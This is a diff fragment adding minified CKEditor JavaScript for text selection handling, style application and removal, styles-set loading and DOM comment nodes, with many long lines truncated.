+a.addRange(b)}}var a=this.getNative(),d;if(a)if(a.getRangeAt)d=(c=a.rangeCount&&a.getRangeAt(0))&&new CKEDITOR.dom.node(c.commonAncestorContainer);else{try{c=a.createRange()}catch(e){}d=c&&CKEDITOR.dom.element.get(c.item&&c.item(0)||c.parentElement())}if(!d||!this.root.equals(d)&&!this.root.contains(d)){this._.cache.type=CKEDITOR.SELECTION_NONE;this._.cache.startElement=null;this._.cache.selectedElement=null;this._.cache.selectedText="";this._.cache.ranges=new CKEDITOR.dom.rangeList}retu [...]
+var m={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.dom.selection.prototype={getNative:function(){return this._.cache.nativeSel!==void 0?this._.cache.nativeSel:this._.cache.nativeSel=l?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:l?function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_NONE;try{var c=this.getNative(),d=c.type;i [...]
+CKEDITOR.SELECTION_TEXT;if(d=="Control")b=CKEDITOR.SELECTION_ELEMENT;if(c.createRange().parentElement())b=CKEDITOR.SELECTION_TEXT}catch(e){}return a.type=b}:function(){var a=this._.cache;if(a.type)return a.type;var b=CKEDITOR.SELECTION_TEXT,c=this.getNative();if(!c||!c.rangeCount)b=CKEDITOR.SELECTION_NONE;else if(c.rangeCount==1){var c=c.getRangeAt(0),d=c.startContainer;if(d==c.endContainer&&d.nodeType==1&&c.endOffset-c.startOffset==1&&m[d.childNodes[c.startOffset].nodeName.toLowerCase() [...]
+b},getRanges:function(){var a=l?function(){function a(b){return(new CKEDITOR.dom.node(b)).getIndex()}var b=function(b,c){b=b.duplicate();b.collapse(c);var d=b.parentElement(),e=d.ownerDocument;if(!d.hasChildNodes())return{container:d,offset:0};for(var f=d.children,g,i,h=b.duplicate(),n=0,l=f.length-1,m=-1,k,v;n<=l;){m=Math.floor((n+l)/2);g=f[m];h.moveToElementText(g);k=h.compareEndPoints("StartToStart",b);if(k>0)l=m-1;else if(k<0)n=m+1;else{if(CKEDITOR.env.ie9Compat&&g.tagName=="BR"){f=e [...]
+return{container:f[c?"anchorNode":"focusNode"],offset:f[c?"anchorOffset":"focusOffset"]}}return{container:d,offset:a(g)}}}if(m==-1||m==f.length-1&&k<0){h.moveToElementText(d);h.setEndPoint("StartToStart",b);e=h.text.replace(/(\r\n|\r)/g,"\n").length;f=d.childNodes;if(!e){g=f[f.length-1];return g.nodeType!=CKEDITOR.NODE_TEXT?{container:d,offset:f.length}:{container:g,offset:g.nodeValue.length}}for(d=f.length;e>0&&d>0;){i=f[--d];if(i.nodeType==CKEDITOR.NODE_TEXT){v=i;e=e-i.nodeValue.length [...]
+offset:-e}}h.collapse(k>0?true:false);h.setEndPoint(k>0?"StartToStart":"EndToStart",b);e=h.text.replace(/(\r\n|\r)/g,"\n").length;if(!e)return{container:d,offset:a(g)+(k>0?0:1)};for(;e>0;)try{i=g[k>0?"previousSibling":"nextSibling"];if(i.nodeType==CKEDITOR.NODE_TEXT){e=e-i.nodeValue.length;v=i}g=i}catch(t){return{container:d,offset:a(g)}}return{container:v,offset:k>0?-e:v.nodeValue.length+e}};return function(){var a=this.getNative(),c=a&&a.createRange(),d=this.getType();if(!a)return[];if [...]
+new CKEDITOR.dom.range(this.root);d=b(c,true);a.setStart(new CKEDITOR.dom.node(d.container),d.offset);d=b(c);a.setEnd(new CKEDITOR.dom.node(d.container),d.offset);a.endContainer.getPosition(a.startContainer)&CKEDITOR.POSITION_PRECEDING&&a.endOffset<=a.startContainer.getIndex()&&a.collapse();return[a]}if(d==CKEDITOR.SELECTION_ELEMENT){for(var d=[],e=0;e<c.length;e++){for(var f=c.item(e),g=f.parentNode,o=0,a=new CKEDITOR.dom.range(this.root);o<g.childNodes.length&&g.childNodes[o]!=f;o++);a [...]
+o);a.setEnd(new CKEDITOR.dom.node(g),o+1);d.push(a)}return d}return[]}}():function(){var a=[],b,c=this.getNative();if(!c)return a;for(var d=0;d<c.rangeCount;d++){var e=c.getRangeAt(d);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(e.startContainer),e.startOffset);b.setEnd(new CKEDITOR.dom.node(e.endContainer),e.endOffset);a.push(b)}return a};return function(b){var c=this._.cache;if(c.ranges&&!b)return c.ranges;if(!c.ranges)c.ranges=new CKEDITOR.dom.rangeList(a.call( [...]
+c.ranges,e=0;e<d.length;e++){var f=d[e];f.getCommonAncestor().isReadOnly()&&d.splice(e,1);if(!f.collapsed){if(f.startContainer.isReadOnly())for(var b=f.startContainer,g;b;){if((g=b.type==CKEDITOR.NODE_ELEMENT)&&b.is("body")||!b.isReadOnly())break;g&&b.getAttribute("contentEditable")=="false"&&f.setStartAfter(b);b=b.getParent()}b=f.startContainer;g=f.endContainer;var h=f.startOffset,l=f.endOffset,m=f.clone();b&&b.type==CKEDITOR.NODE_TEXT&&(h>=b.getLength()?m.setStartAfter(b):m.setStartBef [...]
+g.type==CKEDITOR.NODE_TEXT&&(l?m.setEndAfter(g):m.setEndBefore(g));b=new CKEDITOR.dom.walker(m);b.evaluator=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&&a.isReadOnly()){var b=f.clone();f.setEndBefore(a);f.collapsed&&d.splice(e--,1);if(!(a.getPosition(m.endContainer)&CKEDITOR.POSITION_CONTAINS)){b.setStartAfter(a);b.collapsed||d.splice(e+1,0,b)}return true}return false};b.next()}}return c.ranges}}(),getStartElement:function(){var a=this._.cache;if(a.startElement!==void 0)return a.startEl [...]
+switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var c=this.getRanges()[0];if(c){if(c.collapsed){b=c.startContainer;b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent())}else{for(c.optimize();;){b=c.startContainer;if(c.startOffset==(b.getChildCount?b.getChildCount():b.getLength())&&!b.isBlockBoundary())c.setStartAfter(b);else break}b=c.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();b=b.getChild(c.startOf [...]
+b.type!=CKEDITOR.NODE_ELEMENT)b=c.startContainer;else for(c=b.getFirst();c&&c.type==CKEDITOR.NODE_ELEMENT;){b=c;c=c.getFirst()}}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):null},getSelectedElement:function(){var a=this._.cache;if(a.selectedElement!==void 0)return a.selectedElement;var b=this,c=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},function(){for(var a=b.getRanges()[0],c,d,e=2;e&&(!(c=a.getEnclosedNode())||!(c.type==CKEDITOR.NODE_ELE [...]
+(d=c)));e--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return d.$});return a.selectedElement=c?new CKEDITOR.dom.element(c):null},getSelectedText:function(){var a=this._.cache;if(a.selectedText!==void 0)return a.selectedText;var b=this.getNative(),b=l?b.type=="Control"?"":b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){i [...]
+this.getSelectedElement(),c=!b&&this.getRanges();this.isLocked=0;this.reset();if(a)(a=b||c[0].getCommonAncestor())&&a.getAscendant("body",1)&&(b?this.selectElement(b):this.selectRanges(c))}},reset:function(){this._.cache={}},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);this.selectRanges([b])},selectRanges:function(a){if(a.length)if(this.isLocked){var b=CKEDITOR.document.getActive();this.unlock();this.selectRanges(a);this.lock();!b [...]
+b.focus()}else{if(l){var c=CKEDITOR.dom.walker.whitespaces(true),e=/\ufeff|\u00a0/,g={table:1,tbody:1,tr:1};if(a.length>1){b=a[a.length-1];a[0].setEnd(b.endContainer,b.endOffset)}var b=a[0],a=b.collapsed,h,j,k,A=b.getEnclosedNode();if(A&&A.type==CKEDITOR.NODE_ELEMENT&&A.getName()in m&&(!A.is("a")||!A.getText()))try{k=A.$.createControlRange();k.addElement(A.$);k.select();return}catch(B){}(b.startContainer.type==CKEDITOR.NODE_ELEMENT&&b.startContainer.getName()in g||b.endContainer.type==CK [...]
+b.endContainer.getName()in g)&&b.shrink(CKEDITOR.NODE_ELEMENT,true);k=b.createBookmark();var g=k.startNode,p;if(!a)p=k.endNode;k=b.document.$.body.createTextRange();k.moveToElementText(g.$);k.moveStart("character",1);if(p){e=b.document.$.body.createTextRange();e.moveToElementText(p.$);k.setEndPoint("EndToEnd",e);k.moveEnd("character",-1)}else{h=g.getNext(c);j=g.hasAscendant("pre");h=!(h&&h.getText&&h.getText().match(e))&&(j||!g.hasPrevious()||g.getPrevious().is&&g.getPrevious().is("br")) [...]
+j.setHtml("");j.insertBefore(g);h&&b.document.createText("").insertBefore(g)}b.setStartBefore(g);g.remove();if(a){if(h){k.moveStart("character",-1);k.select();b.document.$.selection.clear()}else k.select();b.moveToPosition(j,CKEDITOR.POSITION_BEFORE_START);j.remove()}else{b.setEndBefore(p);p.remove();k.select()}}else{p=this.getNative();if(!p)return;if(CKEDITOR.env.opera){b=this.document.$.createRange();b.selectNodeContents(this.root.$);p.addRange(b)}this.removeAllRanges();for(e= [...]
+a.length-1){b=a[e];k=a[e+1];j=b.clone();j.setStart(b.endContainer,b.endOffset);j.setEnd(k.startContainer,k.startOffset);if(!j.collapsed){j.shrink(CKEDITOR.NODE_ELEMENT,true);h=j.getCommonAncestor();j=j.getEnclosedNode();if(h.isReadOnly()||j&&j.isReadOnly()){k.setStart(b.startContainer,b.startOffset);a.splice(e--,1);continue}}}b=a[e];k=this.document.$.createRange();h=b.startContainer;if(CKEDITOR.env.opera&&b.collapsed&&h.type==CKEDITOR.NODE_ELEMENT){j=h.getChild(b.startOffset-1);c=h.getCh [...]
+if(!j&&!c&&h.is(CKEDITOR.dtd.$removeEmpty)||j&&j.type==CKEDITOR.NODE_ELEMENT||c&&c.type==CKEDITOR.NODE_ELEMENT){b.insertNode(this.document.createText(""));b.collapse(1)}}if(b.collapsed&&CKEDITOR.env.webkit&&f(b)){h=this.root;d(h,false);j=h.getDocument().createText("");h.setCustomData("cke-fillingChar",j);b.insertNode(j);if((h=j.getNext())&&!j.getPrevious()&&h.type==CKEDITOR.NODE_ELEMENT&&h.getName()=="br"){d(this.root);b.moveToPosition(h,CKEDITOR.POSITION_BEFORE_START)}else b.moveToPosi [...]
+b.startOffset);try{k.setEnd(b.endContainer.$,b.endOffset)}catch(D){if(D.toString().indexOf("NS_ERROR_ILLEGAL_VALUE")>=0){b.collapse(1);k.setEnd(b.endContainer.$,b.endOffset)}else throw D;}p.addRange(k)}}this.reset();this.root.fire("selectionchange")}},createBookmarks:function(a){return this.getRanges().createBookmarks(a)},createBookmarks2:function(a){return this.getRanges().createBookmarks2(a)},selectBookmarks:function(a){for(var b=[],c=0;c<a.length;c++){var d=new CKEDITOR.dom.range(this [...]
+b.push(d)}this.selectRanges(b);return this},getCommonAncestor:function(){var a=this.getRanges();return a[0].startContainer.getCommonAncestor(a[a.length-1].endContainer)},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&&this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){var a=this.getNative();try{a&&a[l?"empty":"removeAllRanges"]()}catch(b){}this.reset()}}})();
+CKEDITOR.editor.prototype.attachStyleStateChange=function(b,c){var a=this._.styleStateChangeCallbacks;if(!a){a=this._.styleStateChangeCallbacks=[];this.on("selectionChange",function(b){for(var c=0;c<a.length;c++){var d=a[c],g=d.style.checkActive(b.data.path)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;d.fn.call(this,g)}})}a.push({style:b,fn:c})};CKEDITOR.STYLE_BLOCK=1;CKEDITOR.STYLE_INLINE=2;CKEDITOR.STYLE_OBJECT=3;
+(function(){function b(a,b){for(var c,d;a=a.getParent();){if(a.equals(b))break;if(a.getAttribute("data-nostyle"))c=a;else if(!d){var e=a.getAttribute("contentEditable");e=="false"?c=a:e=="true"&&(d=1)}}return c}function c(a){var c=a.document;if(a.collapsed){c=y(this,c);a.insertNode(c);a.moveToPosition(c,CKEDITOR.POSITION_BEFORE_END)}else{var d=this.element,e=this._.definition,f,g=e.ignoreReadonly,h=g||e.includeReadonly;h==void 0&&(h=a.root.getCustomData("cke_includeReadonly"));var i=CKED [...]
+(f=true,CKEDITOR.dtd.span);a.enlarge(CKEDITOR.ENLARGE_INLINE,1);a.trim();var l=a.createBookmark(),j=l.startNode,m=l.endNode,k=j,n;if(!g){var q=a.getCommonAncestor(),g=b(j,q),q=b(m,q);g&&(k=g.getNextSourceNode(true));q&&(m=q)}for(k.getPosition(m)==CKEDITOR.POSITION_FOLLOWING&&(k=0);k;){g=false;if(k.equals(m)){k=null;g=true}else{var p=k.type,r=p==CKEDITOR.NODE_ELEMENT?k.getName():null,q=r&&k.getAttribute("contentEditable")=="false",s=r&&k.getAttribute("data-nostyle");if(r&&k.data("cke-book [...]
+k.getNextSourceNode(true);continue}if(!r||i[r]&&!s&&(!q||h)&&(k.getPosition(m)|CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED)==CKEDITOR.POSITION_PRECEDING+CKEDITOR.POSITION_IDENTICAL+CKEDITOR.POSITION_IS_CONTAINED&&(!e.childRule||e.childRule(k))){var u=k.getParent();if(u&&((u.getDtd()||CKEDITOR.dtd.span)[d]||f)&&(!e.parentRule||e.parentRule(u))){if(!n&&(!r||!CKEDITOR.dtd.$removeEmpty[r]||(k.getPosition(m)|CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSIT [...]
+CKEDITOR.POSITION_IS_CONTAINED)==CKEDITOR.POSITION_PRECEDING+CKEDITOR.POSITION_IDENTICAL+CKEDITOR.POSITION_IS_CONTAINED)){n=a.clone();n.setStartBefore(k)}if(p==CKEDITOR.NODE_TEXT||q||p==CKEDITOR.NODE_ELEMENT&&!k.getChildCount()){for(var p=k,v;(g=!p.getNext(F))&&(v=p.getParent(),i[v.getName()])&&(v.getPosition(j)|CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED)==CKEDITOR.POSITION_FOLLOWING+CKEDITOR.POSITION_IDENTICAL+CKEDITOR.POSITION_IS_CONTAINED&&( [...]
+e.childRule(v));)p=v;n.setEndAfter(p)}}else g=true}else g=true;k=k.getNextSourceNode(s||q&&!h)}if(g&&n&&!n.collapsed){for(var g=y(this,c),q=g.hasAttributes(),s=n.getCommonAncestor(),p={},r={},u={},z={},A,B,D;g&&s;){if(s.getName()==d){for(A in e.attributes)if(!z[A]&&(D=s.getAttribute(B)))g.getAttribute(A)==D?r[A]=1:z[A]=1;for(B in e.styles)if(!u[B]&&(D=s.getStyle(B)))g.getStyle(B)==D?p[B]=1:u[B]=1}s=s.getParent()}for(A in r)g.removeAttribute(A);for(B in p)g.removeStyle(B);q&&!g.hasAttribu [...]
+null);if(g){n.extractContents().appendTo(g);o.call(this,g);n.insertNode(g);g.mergeSiblings();CKEDITOR.env.ie||g.$.normalize()}else{g=new CKEDITOR.dom.element("span");n.extractContents().appendTo(g);n.insertNode(g);o.call(this,g);g.remove(true)}n=null}}a.moveToBookmark(l);a.shrink(CKEDITOR.SHRINK_TEXT)}}function a(a){a.enlarge(CKEDITOR.ENLARGE_INLINE,1);var b=a.createBookmark(),c=b.startNode;if(a.collapsed){for(var d=new CKEDITOR.dom.elementPath(c.getParent(),a.root),e,f=0,g;f<d.elements. [...]
+d.elements[f]);f++){if(g==d.block||g==d.blockLimit)break;if(this.checkElementRemovable(g)){var h;if(a.collapsed&&(a.checkBoundaryOfElement(g,CKEDITOR.END)||(h=a.checkBoundaryOfElement(g,CKEDITOR.START)))){e=g;e.match=h?"start":"end"}else{g.mergeSiblings();g.getName()==this.element?n.call(this,g):i(g,s(this)[g.getName()])}}}if(e){g=c;for(f=0;;f++){h=d.elements[f];if(h.equals(e))break;else if(h.match)continue;else h=h.clone();h.append(g);g=h}g[e.match=="start"?"insertBefore":"insertAfter"] [...]
+b.endNode,j=this,d=function(){for(var a=new CKEDITOR.dom.elementPath(c.getParent()),b=new CKEDITOR.dom.elementPath(l.getParent()),d=null,e=null,f=0;f<a.elements.length;f++){var g=a.elements[f];if(g==a.block||g==a.blockLimit)break;j.checkElementRemovable(g)&&(d=g)}for(f=0;f<b.elements.length;f++){g=b.elements[f];if(g==b.block||g==b.blockLimit)break;j.checkElementRemovable(g)&&(e=g)}e&&l.breakParent(e);d&&c.breakParent(d)};d();for(e=c;!e.equals(l);){f=e.getNextSourceNode();if(e.type==CKEDI [...]
+this.checkElementRemovable(e)){e.getName()==this.element?n.call(this,e):i(e,s(this)[e.getName()]);if(f.type==CKEDITOR.NODE_ELEMENT&&f.contains(c)){d();f=c.getNext()}}e=f}}a.moveToBookmark(b)}function f(a){var b=a.getEnclosedNode()||a.getCommonAncestor(false,true);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&&!a.isReadOnly()&&z(a,this)}function e(a){var b=a.getCommonAncestor(true,true);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=t [...]
+c=b.attributes;if(c)for(var d in c)a.removeAttribute(d,c[d]);if(b.styles)for(var e in b.styles)b.styles.hasOwnProperty(e)&&a.removeStyle(e)}}function d(a){var b=a.createBookmark(true),c=a.createIterator();c.enforceRealBlocks=true;if(this._.enterMode)c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e=a.document;d=c.getNextParagraph();)if(!d.isReadOnly()){var f=y(this,e,d);k(d,f)}a.moveToBookmark(b)}function g(a){var b=a.createBookmark(1),c=a.createIterator();c.enforceRealBlocks=t [...]
+this._.enterMode!=CKEDITOR.ENTER_BR;for(var d;d=c.getNextParagraph();)if(this.checkElementRemovable(d))if(d.is("pre")){var e=this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?"p":"div");e&&d.copyAttributes(e);k(d,e)}else n.call(this,d);a.moveToBookmark(b)}function k(a,b){var c=!b;if(c){b=a.getDocument().createElement("div");a.copyAttributes(b)}var d=b&&b.is("pre"),e=a.is("pre"),f=!d&&e;if(d&&!e){e=b;(f=a.getBogus())&&f.remove();f=a.getHt [...]
+/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,"");f=f.replace(/[ \t\r\n]*(<br[^>]*>)[ \t\r\n]*/gi,"$1");f=f.replace(/([ \t\n\r]+| )/g," ");f=f.replace(/<br\b[^>]*>/gi,"\n");if(CKEDITOR.env.ie){var g=a.getDocument().createElement("div");g.append(e);e.$.outerHTML="<pre>"+f+"</pre>";e.copyAttributes(g.getFirst());e=g.getFirst().remove()}else e.setHtml(f);b=e}else f?b=m(c?[a.getHtml()]:h(a),b):a.moveChildren(b);b.replace(a);if(d){var c=b,i;if((i=c.getPrevious(v))&&i.is&&i.is("pre")){d=l(i.getHtml( [...]
+"\n\n"+l(c.getHtml(),/^\n/,"");CKEDITOR.env.ie?c.$.outerHTML="<pre>"+d+"</pre>":c.setHtml(d);i.remove()}}else c&&q(b)}function h(a){a.getName();var b=[];l(a.getOuterHtml(),/(\S\s*)\n(?:\s|(<span[^>]+data-cke-bookmark.*?\/span>))*\n(?!$)/gi,function(a,b,c){return b+"</pre>"+c+"<pre>"}).replace(/<pre\b.*?>([\s\S]*?)<\/pre>/gi,function(a,c){b.push(c)});return b}function l(a,b,c){var d="",e="",a=a.replace(/(^<span[^>]+data-cke-bookmark.*?\/span>)|(<span[^>]+data-cke-bookmark.*?\/span>$)/gi,f [...]
+b,c){b&&(d=b);c&&(e=c);return""});return d+a.replace(b,c)+e}function m(a,b){var c;a.length>1&&(c=new CKEDITOR.dom.documentFragment(b.getDocument()));for(var d=0;d<a.length;d++){var e=a[d],e=e.replace(/(\r\n|\r)/g,"\n"),e=l(e,/^[ \t]*\n/,""),e=l(e,/\n$/,""),e=l(e,/^[ \t]+|[ \t]+$/g,function(a,b){return a.length==1?" ":b?" "+CKEDITOR.tools.repeat(" ",a.length-1):CKEDITOR.tools.repeat(" ",a.length-1)+" "}),e=e.replace(/\n/g,"<br>"),e=e.replace(/[ \t]{2,}/g,function(a){return [...]
+a.length-1)+" "});if(c){var f=b.clone();f.setHtml(e);c.append(f)}else b.setHtml(e)}return c||b}function n(a){var b=this._.definition,c=b.attributes,b=b.styles,d=s(this)[a.getName()],e=CKEDITOR.tools.isEmpty(c)&&CKEDITOR.tools.isEmpty(b),f;for(f in c)if(!((f=="class"||this._.definition.fullMatch)&&a.getAttribute(f)!=A(f,c[f]))){e=a.hasAttribute(f);a.removeAttribute(f)}for(var g in b)if(!(this._.definition.fullMatch&&a.getStyle(g)!=A(g,b[g],true))){e=e||!!a.getStyle(g);a.removeStyle(g)}i(a [...]
+e&&(this._.definition.alwaysRemoveElement?q(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==CKEDITOR.ENTER_BR&&!a.hasAttributes()?q(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))}function o(a){for(var b=s(this),c=a.getElementsByTag(this.element),d=c.count();--d>=0;)n.call(this,c.getItem(d));for(var e in b)if(e!=this.element){c=a.getElementsByTag(e);for(d=c.count()-1;d>=0;d--){var f=c.getItem(d);i(f,b[e])}}}function i(a,b,c){if(b=b&&b.attributes)for(var d=0;d<b.l [...]
+b[d][0],f;if(f=a.getAttribute(e)){var g=b[d][1];(g===null||g.test&&g.test(f)||typeof g=="string"&&f==g)&&a.removeAttribute(e)}}c||q(a)}function q(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var c=a.getPrevious(v),d=a.getNext(v);c&&(c.type==CKEDITOR.NODE_TEXT||!c.isBlockBoundary({br:1}))&&a.append("br",1);d&&(d.type==CKEDITOR.NODE_TEXT||!d.isBlockBoundary({br:1}))&&a.append("br");a.remove(true)}else{c=a.getFirst();d=a.getLast();a.remove(true);if(c){c.type==CKEDITOR. [...]
+c.mergeSiblings();d&&(!c.equals(d)&&d.type==CKEDITOR.NODE_ELEMENT)&&d.mergeSiblings()}}}function y(a,b,c){var d;d=a.element;d=="*"&&(d="span");d=new CKEDITOR.dom.element(d,b);c&&c.copyAttributes(d);d=z(d,a);b.getCustomData("doc_processing_style")&&d.hasAttribute("id")?d.removeAttribute("id"):b.setCustomData("doc_processing_style",1);return d}function z(a,b){var c=b._.definition,d=c.attributes,c=CKEDITOR.style.getStyleText(c);if(d)for(var e in d)a.setAttribute(e,d[e]);c&&a.setAttribute("s [...]
+return a}function j(a,b){for(var c in a)a[c]=a[c].replace(r,function(a,c){return b[c]})}function s(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},c=a._.definition.overrides;if(c){CKEDITOR.tools.isArray(c)||(c=[c]);for(var d=0;d<c.length;d++){var e=c[d],f,g;if(typeof e=="string")f=e.toLowerCase();else{f=e.element?e.element.toLowerCase():a.element;g=e.attributes}e=b[f]||(b[f]={});if(g){var e=e.attributes=e.attributes||[],h;for(h in g)e.push([h.toLowerCase(),g[h]])}}}return [...]
+b,c){var d=new CKEDITOR.dom.element("span");d[c?"setStyle":"setAttribute"](a,b);return d[c?"getStyle":"getAttribute"](a)}function B(a,b){for(var c=a.document,d=a.getRanges(),e=b?this.removeFromRange:this.applyToRange,f,g=d.createIterator();f=g.getNextRange();)e.call(this,f);a.selectRanges(d);c.removeCustomData("doc_processing_style")}var p={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1 [...]
+keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},D={a:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},u=/\s*(?:;\s*|$)/,r=/#\((.+?)\)/g,F=CKEDITOR.dom.walker.bookmark(0,1),v=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){var c=a.attributes;if(c&&c.style){a.styles=CKEDITOR.tools.extend({},a.styles,CKEDITOR.tools.parseCssText(c.style));delete c.style}if(b){a=CKEDITOR.tools.clone(a);j(a.attributes,b);j( [...]
+b)}c=this.element=a.element?typeof a.element=="string"?a.element.toLowerCase():a.element:"*";this.type=a.type||(p[c]?CKEDITOR.STYLE_BLOCK:D[c]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE);if(typeof this.element=="object")this.type=CKEDITOR.STYLE_OBJECT;this._={definition:a}};CKEDITOR.editor.prototype.applyStyle=function(a){B.call(a,this.getSelection())};CKEDITOR.editor.prototype.removeStyle=function(a){B.call(a,this.getSelection(),1)};CKEDITOR.style.prototype={apply:function(a){B.call(th [...]
+remove:function(a){B.call(this,a.getSelection(),1)},applyToRange:function(a){return(this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?c:this.type==CKEDITOR.STYLE_BLOCK?d:this.type==CKEDITOR.STYLE_OBJECT?f:null).call(this,a)},removeFromRange:function(b){return(this.removeFromRange=this.type==CKEDITOR.STYLE_INLINE?a:this.type==CKEDITOR.STYLE_BLOCK?g:this.type==CKEDITOR.STYLE_OBJECT?e:null).call(this,b)},applyToObject:function(a){z(a,this)},checkActive:function(a){switch(this.type){case CK [...]
+a.blockLimit,true);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var b=a.elements,c=0,d;c<b.length;c++){d=b[c];if(!(this.type==CKEDITOR.STYLE_INLINE&&(d==a.block||d==a.blockLimit))){if(this.type==CKEDITOR.STYLE_OBJECT){var e=d.getName();if(!(typeof this.element=="string"?e==this.element:e in this.element))continue}if(this.checkElementRemovable(d,true))return true}}}return false},checkApplicable:function(a){switch(this.type){case CKEDITOR.STYLE_OBJECT:return a.contains(this.el [...]
+checkElementMatch:function(a,b){var c=this._.definition;if(!a||!c.ignoreReadonly&&a.isReadOnly())return false;var d=a.getName();if(typeof this.element=="string"?d==this.element:d in this.element){if(!b&&!a.hasAttributes())return true;if(d=c._AC)c=d;else{var d={},e=0,f=c.attributes;if(f)for(var g in f){e++;d[g]=f[g]}if(g=CKEDITOR.style.getStyleText(c)){d.style||e++;d.style=g}d._length=e;c=c._AC=d}if(c._length){for(var h in c)if(h!="_length"){e=a.getAttribute(h)||"";if(h=="style")a:{d=c[h] [...]
+"string"&&(d=CKEDITOR.tools.parseCssText(d));typeof e=="string"&&(e=CKEDITOR.tools.parseCssText(e,true));g=void 0;for(g in d)if(!(g in e&&(e[g]==d[g]||d[g]=="inherit"||e[g]=="inherit"))){d=false;break a}d=true}else d=c[h]==e;if(d){if(!b)return true}else if(b)return false}if(b)return true}else return true}return false},checkElementRemovable:function(a,b){if(this.checkElementMatch(a,b))return true;var c=s(this)[a.getName()];if(c){var d;if(!(c=c.attributes))return true;for(var e=0;e<c.lengt [...]
+c[e][0];if(d=a.getAttribute(d)){var f=c[e][1];if(f===null||typeof f=="string"&&d==f||f.test(d))return true}}}return false},buildPreview:function(a){var b=this._.definition,c=[],d=b.element;d=="bdo"&&(d="span");var c=["<",d],e=b.attributes;if(e)for(var f in e)c.push(" ",f,'="',e[f],'"');(e=CKEDITOR.style.getStyleText(b))&&c.push(' style="',e,'"');c.push(">",a||b.name,"</",d,">");return c.join("")}};CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;var b=a.styles,c=a.attrib [...]
+"",d="";c.length&&(c=c.replace(u,";"));for(var e in b){var f=b[e],g=(e+":"+f).replace(u,";");f=="inherit"?d=d+g:c=c+g}c.length&&(c=CKEDITOR.tools.normalizeCssText(c,true));return a._ST=c+d}})();CKEDITOR.styleCommand=function(b){this.style=b};CKEDITOR.styleCommand.prototype.exec=function(b){b.focus();this.state==CKEDITOR.TRISTATE_OFF?b.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&&b.removeStyle(this.style)};CKEDITOR.stylesSet=new CKEDITOR.resourceManager("","stylesSet");
+CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet);CKEDITOR.loadStylesSet=function(b,c,a){CKEDITOR.stylesSet.addExternal(b,c,"");CKEDITOR.stylesSet.load(b,a)};
+CKEDITOR.editor.prototype.getStylesSet=function(b){if(this._.stylesDefinitions)b(this._.stylesDefinitions);else{var c=this,a=c.config.stylesCombo_stylesSet||c.config.stylesSet||"default";if(a instanceof Array){c._.stylesDefinitions=a;b(a)}else{var a=a.split(":"),f=a[0];CKEDITOR.stylesSet.addExternal(f,a[1]?a.slice(1).join(":"):CKEDITOR.getUrl("styles.js"),"");CKEDITOR.stylesSet.load(f,function(a){c._.stylesDefinitions=a[f];b(c._.stylesDefinitions)})}}};
+CKEDITOR.dom.comment=function(b,c){typeof b=="string"&&(b=(c?c.$:document).createComment(b));CKEDITOR.dom.domObject.call(this,b)};CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return"<\!--"+this.$.nodeValue+"--\>"}});
